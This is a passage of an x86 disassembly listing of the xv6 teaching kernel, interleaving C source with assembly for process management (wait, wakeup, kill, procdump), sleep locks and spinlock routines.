80103fb4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return pid;
}
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
80103fb8: 85 d2 test %edx,%edx
80103fba: 74 6e je 8010402a <wait+0xca>
80103fbc: 8b 50 24 mov 0x24(%eax),%edx
80103fbf: 85 d2 test %edx,%edx
80103fc1: 75 67 jne 8010402a <wait+0xca>
release(&ptable.lock);
return -1;
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
80103fc3: c7 44 24 04 a0 2d 11 movl $0x80112da0,0x4(%esp)
80103fca: 80
80103fcb: 89 04 24 mov %eax,(%esp)
80103fce: e8 cd fe ff ff call 80103ea0 <sleep>
}
80103fd3: eb 9f jmp 80103f74 <wait+0x14>
continue;
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
kfree(p->kstack);
80103fd5: 8b 43 08 mov 0x8(%ebx),%eax
if(p->parent != proc)
continue;
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
80103fd8: 8b 73 10 mov 0x10(%ebx),%esi
kfree(p->kstack);
80103fdb: 89 04 24 mov %eax,(%esp)
80103fde: e8 0d e3 ff ff call 801022f0 <kfree>
p->kstack = 0;
freevm(p->pgdir);
80103fe3: 8b 43 04 mov 0x4(%ebx),%eax
havekids = 1;
if(p->state == ZOMBIE){
// Found one.
pid = p->pid;
kfree(p->kstack);
p->kstack = 0;
80103fe6: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
freevm(p->pgdir);
80103fed: 89 04 24 mov %eax,(%esp)
80103ff0: e8 3b 2d 00 00 call 80106d30 <freevm>
p->pid = 0;
p->parent = 0;
p->name[0] = 0;
p->killed = 0;
p->state = UNUSED;
release(&ptable.lock);
80103ff5: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
// Found one.
pid = p->pid;
kfree(p->kstack);
p->kstack = 0;
freevm(p->pgdir);
p->pid = 0;
80103ffc: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx)
p->parent = 0;
80104003: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx)
p->name[0] = 0;
8010400a: c6 43 6c 00 movb $0x0,0x6c(%ebx)
p->killed = 0;
8010400e: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
p->state = UNUSED;
80104015: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
release(&ptable.lock);
8010401c: e8 af 04 00 00 call 801044d0 <release>
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
}
}
80104021: 83 c4 10 add $0x10,%esp
p->parent = 0;
p->name[0] = 0;
p->killed = 0;
p->state = UNUSED;
release(&ptable.lock);
return pid;
80104024: 89 f0 mov %esi,%eax
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
}
}
80104026: 5b pop %ebx
80104027: 5e pop %esi
80104028: 5d pop %ebp
80104029: c3 ret
}
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
release(&ptable.lock);
8010402a: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80104031: e8 9a 04 00 00 call 801044d0 <release>
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
}
}
80104036: 83 c4 10 add $0x10,%esp
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
release(&ptable.lock);
return -1;
80104039: b8 ff ff ff ff mov $0xffffffff,%eax
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
}
}
8010403e: 5b pop %ebx
8010403f: 5e pop %esi
80104040: 5d pop %ebp
80104041: c3 ret
80104042: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104049: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104050 <wakeup>:
}
// Wake up all processes sleeping on chan.
void
wakeup(void *chan)
{
80104050: 55 push %ebp
80104051: 89 e5 mov %esp,%ebp
80104053: 53 push %ebx
80104054: 83 ec 14 sub $0x14,%esp
80104057: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&ptable.lock);
8010405a: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80104061: e8 3a 03 00 00 call 801043a0 <acquire>
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80104066: b8 d4 2d 11 80 mov $0x80112dd4,%eax
8010406b: eb 0f jmp 8010407c <wakeup+0x2c>
8010406d: 8d 76 00 lea 0x0(%esi),%esi
80104070: 05 9c 00 00 00 add $0x9c,%eax
80104075: 3d d4 54 11 80 cmp $0x801154d4,%eax
8010407a: 74 24 je 801040a0 <wakeup+0x50>
if(p->state == SLEEPING && p->chan == chan)
8010407c: 83 78 0c 02 cmpl $0x2,0xc(%eax)
80104080: 75 ee jne 80104070 <wakeup+0x20>
80104082: 3b 58 20 cmp 0x20(%eax),%ebx
80104085: 75 e9 jne 80104070 <wakeup+0x20>
p->state = RUNNABLE;
80104087: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
static void
wakeup1(void *chan)
{
struct proc *p;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010408e: 05 9c 00 00 00 add $0x9c,%eax
80104093: 3d d4 54 11 80 cmp $0x801154d4,%eax
80104098: 75 e2 jne 8010407c <wakeup+0x2c>
8010409a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
void
wakeup(void *chan)
{
acquire(&ptable.lock);
wakeup1(chan);
release(&ptable.lock);
801040a0: c7 45 08 a0 2d 11 80 movl $0x80112da0,0x8(%ebp)
}
801040a7: 83 c4 14 add $0x14,%esp
801040aa: 5b pop %ebx
801040ab: 5d pop %ebp
void
wakeup(void *chan)
{
acquire(&ptable.lock);
wakeup1(chan);
release(&ptable.lock);
801040ac: e9 1f 04 00 00 jmp 801044d0 <release>
801040b1: eb 0d jmp 801040c0 <kill>
801040b3: 90 nop
801040b4: 90 nop
801040b5: 90 nop
801040b6: 90 nop
801040b7: 90 nop
801040b8: 90 nop
801040b9: 90 nop
801040ba: 90 nop
801040bb: 90 nop
801040bc: 90 nop
801040bd: 90 nop
801040be: 90 nop
801040bf: 90 nop
801040c0 <kill>:
// Kill the process with the given pid.
// Process won't exit until it returns
// to user space (see trap in trap.c).
int
kill(int pid)
{
801040c0: 55 push %ebp
801040c1: 89 e5 mov %esp,%ebp
801040c3: 53 push %ebx
801040c4: 83 ec 14 sub $0x14,%esp
801040c7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *p;
acquire(&ptable.lock);
801040ca: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
801040d1: e8 ca 02 00 00 call 801043a0 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
801040d6: b8 d4 2d 11 80 mov $0x80112dd4,%eax
801040db: eb 0f jmp 801040ec <kill+0x2c>
801040dd: 8d 76 00 lea 0x0(%esi),%esi
801040e0: 05 9c 00 00 00 add $0x9c,%eax
801040e5: 3d d4 54 11 80 cmp $0x801154d4,%eax
801040ea: 74 3c je 80104128 <kill+0x68>
if(p->pid == pid){
801040ec: 39 58 10 cmp %ebx,0x10(%eax)
801040ef: 75 ef jne 801040e0 <kill+0x20>
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
801040f1: 83 78 0c 02 cmpl $0x2,0xc(%eax)
struct proc *p;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->pid == pid){
p->killed = 1;
801040f5: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
801040fc: 74 1a je 80104118 <kill+0x58>
p->state = RUNNABLE;
release(&ptable.lock);
801040fe: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80104105: e8 c6 03 00 00 call 801044d0 <release>
return 0;
}
}
release(&ptable.lock);
return -1;
}
8010410a: 83 c4 14 add $0x14,%esp
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
p->state = RUNNABLE;
release(&ptable.lock);
return 0;
8010410d: 31 c0 xor %eax,%eax
}
}
release(&ptable.lock);
return -1;
}
8010410f: 5b pop %ebx
80104110: 5d pop %ebp
80104111: c3 ret
80104112: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->pid == pid){
p->killed = 1;
// Wake process from sleep if necessary.
if(p->state == SLEEPING)
p->state = RUNNABLE;
80104118: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
8010411f: eb dd jmp 801040fe <kill+0x3e>
80104121: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
80104128: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
8010412f: e8 9c 03 00 00 call 801044d0 <release>
return -1;
}
80104134: 83 c4 14 add $0x14,%esp
release(&ptable.lock);
return 0;
}
}
release(&ptable.lock);
return -1;
80104137: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010413c: 5b pop %ebx
8010413d: 5d pop %ebp
8010413e: c3 ret
8010413f: 90 nop
80104140 <procdump>:
// Print a process listing to console. For debugging.
// Runs when user types ^P on console.
// No lock to avoid wedging a stuck machine further.
void
procdump(void)
{
80104140: 55 push %ebp
80104141: 89 e5 mov %esp,%ebp
80104143: 57 push %edi
80104144: 56 push %esi
80104145: 53 push %ebx
80104146: bb 40 2e 11 80 mov $0x80112e40,%ebx
8010414b: 83 ec 4c sub $0x4c,%esp
8010414e: 8d 75 e8 lea -0x18(%ebp),%esi
80104151: eb 23 jmp 80104176 <procdump+0x36>
80104153: 90 nop
80104154: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
80104158: c7 04 24 c6 74 10 80 movl $0x801074c6,(%esp)
8010415f: e8 ec c4 ff ff call 80100650 <cprintf>
80104164: 81 c3 9c 00 00 00 add $0x9c,%ebx
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
8010416a: 81 fb 40 55 11 80 cmp $0x80115540,%ebx
80104170: 0f 84 8a 00 00 00 je 80104200 <procdump+0xc0>
if(p->state == UNUSED)
80104176: 8b 43 a0 mov -0x60(%ebx),%eax
80104179: 85 c0 test %eax,%eax
8010417b: 74 e7 je 80104164 <procdump+0x24>
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
8010417d: 83 f8 05 cmp $0x5,%eax
state = states[p->state];
else
state = "???";
80104180: ba bf 75 10 80 mov $0x801075bf,%edx
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
if(p->state == UNUSED)
continue;
if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80104185: 77 11 ja 80104198 <procdump+0x58>
80104187: 8b 14 85 60 76 10 80 mov -0x7fef89a0(,%eax,4),%edx
state = states[p->state];
else
state = "???";
8010418e: b8 bf 75 10 80 mov $0x801075bf,%eax
80104193: 85 d2 test %edx,%edx
80104195: 0f 44 d0 cmove %eax,%edx
cprintf("%d %s %s", p->pid, state, p->name);
80104198: 8b 43 a4 mov -0x5c(%ebx),%eax
8010419b: 89 5c 24 0c mov %ebx,0xc(%esp)
8010419f: 89 54 24 08 mov %edx,0x8(%esp)
801041a3: c7 04 24 c3 75 10 80 movl $0x801075c3,(%esp)
801041aa: 89 44 24 04 mov %eax,0x4(%esp)
801041ae: e8 9d c4 ff ff call 80100650 <cprintf>
if(p->state == SLEEPING){
801041b3: 83 7b a0 02 cmpl $0x2,-0x60(%ebx)
801041b7: 75 9f jne 80104158 <procdump+0x18>
getcallerpcs((uint*)p->context->ebp+2, pc);
801041b9: 8d 45 c0 lea -0x40(%ebp),%eax
801041bc: 89 44 24 04 mov %eax,0x4(%esp)
801041c0: 8b 43 b0 mov -0x50(%ebx),%eax
801041c3: 8d 7d c0 lea -0x40(%ebp),%edi
801041c6: 8b 40 0c mov 0xc(%eax),%eax
801041c9: 83 c0 08 add $0x8,%eax
801041cc: 89 04 24 mov %eax,(%esp)
801041cf: e8 6c 01 00 00 call 80104340 <getcallerpcs>
801041d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i=0; i<10 && pc[i] != 0; i++)
801041d8: 8b 17 mov (%edi),%edx
801041da: 85 d2 test %edx,%edx
801041dc: 0f 84 76 ff ff ff je 80104158 <procdump+0x18>
cprintf(" %p", pc[i]);
801041e2: 89 54 24 04 mov %edx,0x4(%esp)
801041e6: 83 c7 04 add $0x4,%edi
801041e9: c7 04 24 e9 6f 10 80 movl $0x80106fe9,(%esp)
801041f0: e8 5b c4 ff ff call 80100650 <cprintf>
else
state = "???";
cprintf("%d %s %s", p->pid, state, p->name);
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
801041f5: 39 f7 cmp %esi,%edi
801041f7: 75 df jne 801041d8 <procdump+0x98>
801041f9: e9 5a ff ff ff jmp 80104158 <procdump+0x18>
801041fe: 66 90 xchg %ax,%ax
cprintf(" %p", pc[i]);
}
cprintf("\n");
}
}
80104200: 83 c4 4c add $0x4c,%esp
80104203: 5b pop %ebx
80104204: 5e pop %esi
80104205: 5f pop %edi
80104206: 5d pop %ebp
80104207: c3 ret
80104208: 66 90 xchg %ax,%ax
8010420a: 66 90 xchg %ax,%ax
8010420c: 66 90 xchg %ax,%ax
8010420e: 66 90 xchg %ax,%ax
80104210 <initsleeplock>:
#include "spinlock.h"
#include "sleeplock.h"
void
initsleeplock(struct sleeplock *lk, char *name)
{
80104210: 55 push %ebp
80104211: 89 e5 mov %esp,%ebp
80104213: 53 push %ebx
80104214: 83 ec 14 sub $0x14,%esp
80104217: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&lk->lk, "sleep lock");
8010421a: c7 44 24 04 78 76 10 movl $0x80107678,0x4(%esp)
80104221: 80
80104222: 8d 43 04 lea 0x4(%ebx),%eax
80104225: 89 04 24 mov %eax,(%esp)
80104228: e8 f3 00 00 00 call 80104320 <initlock>
lk->name = name;
8010422d: 8b 45 0c mov 0xc(%ebp),%eax
lk->locked = 0;
80104230: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
80104236: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
void
initsleeplock(struct sleeplock *lk, char *name)
{
initlock(&lk->lk, "sleep lock");
lk->name = name;
8010423d: 89 43 38 mov %eax,0x38(%ebx)
lk->locked = 0;
lk->pid = 0;
}
80104240: 83 c4 14 add $0x14,%esp
80104243: 5b pop %ebx
80104244: 5d pop %ebp
80104245: c3 ret
80104246: 8d 76 00 lea 0x0(%esi),%esi
80104249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104250 <acquiresleep>:
void
acquiresleep(struct sleeplock *lk)
{
80104250: 55 push %ebp
80104251: 89 e5 mov %esp,%ebp
80104253: 56 push %esi
80104254: 53 push %ebx
80104255: 83 ec 10 sub $0x10,%esp
80104258: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
8010425b: 8d 73 04 lea 0x4(%ebx),%esi
8010425e: 89 34 24 mov %esi,(%esp)
80104261: e8 3a 01 00 00 call 801043a0 <acquire>
while (lk->locked) {
80104266: 8b 13 mov (%ebx),%edx
80104268: 85 d2 test %edx,%edx
8010426a: 74 16 je 80104282 <acquiresleep+0x32>
8010426c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sleep(lk, &lk->lk);
80104270: 89 74 24 04 mov %esi,0x4(%esp)
80104274: 89 1c 24 mov %ebx,(%esp)
80104277: e8 24 fc ff ff call 80103ea0 <sleep>
void
acquiresleep(struct sleeplock *lk)
{
acquire(&lk->lk);
while (lk->locked) {
8010427c: 8b 03 mov (%ebx),%eax
8010427e: 85 c0 test %eax,%eax
80104280: 75 ee jne 80104270 <acquiresleep+0x20>
sleep(lk, &lk->lk);
}
lk->locked = 1;
80104282: c7 03 01 00 00 00 movl $0x1,(%ebx)
lk->pid = proc->pid;
80104288: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010428e: 8b 40 10 mov 0x10(%eax),%eax
80104291: 89 43 3c mov %eax,0x3c(%ebx)
release(&lk->lk);
80104294: 89 75 08 mov %esi,0x8(%ebp)
}
80104297: 83 c4 10 add $0x10,%esp
8010429a: 5b pop %ebx
8010429b: 5e pop %esi
8010429c: 5d pop %ebp
while (lk->locked) {
sleep(lk, &lk->lk);
}
lk->locked = 1;
lk->pid = proc->pid;
release(&lk->lk);
8010429d: e9 2e 02 00 00 jmp 801044d0 <release>
801042a2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801042a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801042b0 <releasesleep>:
}
void
releasesleep(struct sleeplock *lk)
{
801042b0: 55 push %ebp
801042b1: 89 e5 mov %esp,%ebp
801042b3: 56 push %esi
801042b4: 53 push %ebx
801042b5: 83 ec 10 sub $0x10,%esp
801042b8: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&lk->lk);
801042bb: 8d 73 04 lea 0x4(%ebx),%esi
801042be: 89 34 24 mov %esi,(%esp)
801042c1: e8 da 00 00 00 call 801043a0 <acquire>
lk->locked = 0;
801042c6: c7 03 00 00 00 00 movl $0x0,(%ebx)
lk->pid = 0;
801042cc: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx)
wakeup(lk);
801042d3: 89 1c 24 mov %ebx,(%esp)
801042d6: e8 75 fd ff ff call 80104050 <wakeup>
release(&lk->lk);
801042db: 89 75 08 mov %esi,0x8(%ebp)
}
801042de: 83 c4 10 add $0x10,%esp
801042e1: 5b pop %ebx
801042e2: 5e pop %esi
801042e3: 5d pop %ebp
{
acquire(&lk->lk);
lk->locked = 0;
lk->pid = 0;
wakeup(lk);
release(&lk->lk);
801042e4: e9 e7 01 00 00 jmp 801044d0 <release>
801042e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801042f0 <holdingsleep>:
}
int
holdingsleep(struct sleeplock *lk)
{
801042f0: 55 push %ebp
801042f1: 89 e5 mov %esp,%ebp
801042f3: 56 push %esi
801042f4: 53 push %ebx
801042f5: 83 ec 10 sub $0x10,%esp
801042f8: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
acquire(&lk->lk);
801042fb: 8d 73 04 lea 0x4(%ebx),%esi
801042fe: 89 34 24 mov %esi,(%esp)
80104301: e8 9a 00 00 00 call 801043a0 <acquire>
r = lk->locked;
80104306: 8b 1b mov (%ebx),%ebx
release(&lk->lk);
80104308: 89 34 24 mov %esi,(%esp)
8010430b: e8 c0 01 00 00 call 801044d0 <release>
return r;
}
80104310: 83 c4 10 add $0x10,%esp
80104313: 89 d8 mov %ebx,%eax
80104315: 5b pop %ebx
80104316: 5e pop %esi
80104317: 5d pop %ebp
80104318: c3 ret
80104319: 66 90 xchg %ax,%ax
8010431b: 66 90 xchg %ax,%ax
8010431d: 66 90 xchg %ax,%ax
8010431f: 90 nop
80104320 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80104320: 55 push %ebp
80104321: 89 e5 mov %esp,%ebp
80104323: 8b 45 08 mov 0x8(%ebp),%eax
lk->name = name;
80104326: 8b 55 0c mov 0xc(%ebp),%edx
lk->locked = 0;
80104329: c7 00 00 00 00 00 movl $0x0,(%eax)
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
lk->name = name;
8010432f: 89 50 04 mov %edx,0x4(%eax)
lk->locked = 0;
lk->cpu = 0;
80104332: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104339: 5d pop %ebp
8010433a: c3 ret
8010433b: 90 nop
8010433c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104340 <getcallerpcs>:
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104340: 55 push %ebp
80104341: 89 e5 mov %esp,%ebp
uint *ebp;
int i;
ebp = (uint*)v - 2;
80104343: 8b 45 08 mov 0x8(%ebp),%eax
}
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104346: 8b 4d 0c mov 0xc(%ebp),%ecx
80104349: 53 push %ebx
uint *ebp;
int i;
ebp = (uint*)v - 2;
8010434a: 8d 50 f8 lea -0x8(%eax),%edx
for(i = 0; i < 10; i++){
8010434d: 31 c0 xor %eax,%eax
8010434f: 90 nop
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104350: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx
80104356: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx
8010435c: 77 1a ja 80104378 <getcallerpcs+0x38>
break;
pcs[i] = ebp[1]; // saved %eip
8010435e: 8b 5a 04 mov 0x4(%edx),%ebx
80104361: 89 1c 81 mov %ebx,(%ecx,%eax,4)
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104364: 83 c0 01 add $0x1,%eax
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
80104367: 8b 12 mov (%edx),%edx
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104369: 83 f8 0a cmp $0xa,%eax
8010436c: 75 e2 jne 80104350 <getcallerpcs+0x10>
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
pcs[i] = 0;
}
8010436e: 5b pop %ebx
8010436f: 5d pop %ebp
80104370: c3 ret
80104371: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
pcs[i] = 0;
80104378: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
8010437f: 83 c0 01 add $0x1,%eax
80104382: 83 f8 0a cmp $0xa,%eax
80104385: 74 e7 je 8010436e <getcallerpcs+0x2e>
pcs[i] = 0;
80104387: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
8010438e: 83 c0 01 add $0x1,%eax
80104391: 83 f8 0a cmp $0xa,%eax
80104394: 75 e2 jne 80104378 <getcallerpcs+0x38>
80104396: eb d6 jmp 8010436e <getcallerpcs+0x2e>
80104398: 90 nop
80104399: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801043a0 <acquire>:
// Loops (spins) until the lock is acquired.
// Holding a lock for a long time may cause
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
801043a0: 55 push %ebp
801043a1: 89 e5 mov %esp,%ebp
801043a3: 83 ec 18 sub $0x18,%esp
801043a6: 9c pushf
801043a7: 59 pop %ecx
}
static inline void
cli(void)
{
asm volatile("cli");
801043a8: fa cli
{
int eflags;
eflags = readeflags();
cli();
if(cpu->ncli == 0)
801043a9: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801043af: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx
801043b5: 85 d2 test %edx,%edx
801043b7: 75 0c jne 801043c5 <acquire+0x25>
cpu->intena = eflags & FL_IF;
801043b9: 81 e1 00 02 00 00 and $0x200,%ecx
801043bf: 89 88 b0 00 00 00 mov %ecx,0xb0(%eax)
cpu->ncli += 1;
801043c5: 83 c2 01 add $0x1,%edx
801043c8: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
801043ce: 8b 55 08 mov 0x8(%ebp),%edx
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
return lock->locked && lock->cpu == cpu;
801043d1: 8b 0a mov (%edx),%ecx
801043d3: 85 c9 test %ecx,%ecx
801043d5: 74 05 je 801043dc <acquire+0x3c>
801043d7: 3b 42 08 cmp 0x8(%edx),%eax
801043da: 74 3e je 8010441a <acquire+0x7a>
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
801043dc: b9 01 00 00 00 mov $0x1,%ecx
801043e1: eb 08 jmp 801043eb <acquire+0x4b>
801043e3: 90 nop
801043e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801043e8: 8b 55 08 mov 0x8(%ebp),%edx
801043eb: 89 c8 mov %ecx,%eax
801043ed: f0 87 02 lock xchg %eax,(%edx)
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
panic("acquire");
// The xchg is atomic.
while(xchg(&lk->locked, 1) != 0)
801043f0: 85 c0 test %eax,%eax
801043f2: 75 f4 jne 801043e8 <acquire+0x48>
;
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
801043f4: f0 83 0c 24 00 lock orl $0x0,(%esp)
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
801043f9: 8b 45 08 mov 0x8(%ebp),%eax
801043fc: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
getcallerpcs(&lk, lk->pcs);
80104403: 83 c0 0c add $0xc,%eax
// past this point, to ensure that the critical section's memory
// references happen after the lock is acquired.
__sync_synchronize();
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
80104406: 89 50 fc mov %edx,-0x4(%eax)
getcallerpcs(&lk, lk->pcs);
80104409: 89 44 24 04 mov %eax,0x4(%esp)
8010440d: 8d 45 08 lea 0x8(%ebp),%eax
80104410: 89 04 24 mov %eax,(%esp)
80104413: e8 28 ff ff ff call 80104340 <getcallerpcs>
}
80104418: c9 leave
80104419: c3 ret
void
acquire(struct spinlock *lk)
{
pushcli(); // disable interrupts to avoid deadlock.
if(holding(lk))
panic("acquire");
8010441a: c7 04 24 83 76 10 80 movl $0x80107683,(%esp)
80104421: e8 3a bf ff ff call 80100360 <panic>
80104426: 8d 76 00 lea 0x0(%esi),%esi
80104429: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104430 <holding>:
}
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
80104430: 55 push %ebp
return lock->locked && lock->cpu == cpu;
80104431: 31 c0 xor %eax,%eax
}
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
80104433: 89 e5 mov %esp,%ebp
80104435: 8b 55 08 mov 0x8(%ebp),%edx
return lock->locked && lock->cpu == cpu;
80104438: 8b 0a mov (%edx),%ecx
8010443a: 85 c9 test %ecx,%ecx
8010443c: 74 0f je 8010444d <holding+0x1d>
8010443e: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104444: 39 42 08 cmp %eax,0x8(%edx)
80104447: 0f 94 c0 sete %al
8010444a: 0f b6 c0 movzbl %al,%eax
}
8010444d: 5d pop %ebp
8010444e: c3 ret
8010444f: 90 nop
80104450 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
80104450: 55 push %ebp
80104451: 89 e5 mov %esp,%ebp
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80104453: 9c pushf
80104454: 59 pop %ecx
}
static inline void
cli(void)
{
asm volatile("cli");
80104455: fa cli
int eflags;
eflags = readeflags();
cli();
if(cpu->ncli == 0)
80104456: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010445c: 8b 90 ac 00 00 00 mov 0xac(%eax),%edx
80104462: 85 d2 test %edx,%edx
80104464: 75 0c jne 80104472 <pushcli+0x22>
cpu->intena = eflags & FL_IF;
80104466: 81 e1 00 02 00 00 and $0x200,%ecx
8010446c: 89 88 b0 00 00 00 mov %ecx,0xb0(%eax)
cpu->ncli += 1;
80104472: 83 c2 01 add $0x1,%edx
80104475: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
}
8010447b: 5d pop %ebp
8010447c: c3 ret
8010447d: 8d 76 00 lea 0x0(%esi),%esi
80104480 <popcli>:
void
popcli(void)
{
80104480: 55 push %ebp
80104481: 89 e5 mov %esp,%ebp
80104483: 83 ec 18 sub $0x18,%esp
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80104486: 9c pushf
80104487: 58 pop %eax
if(readeflags()&FL_IF)
80104488: f6 c4 02 test $0x2,%ah
8010448b: 75 34 jne 801044c1 <popcli+0x41>
panic("popcli - interruptible");
if(--cpu->ncli < 0)
8010448d: 65 a1 00 00 00 00 mov %gs:0x0,%eax
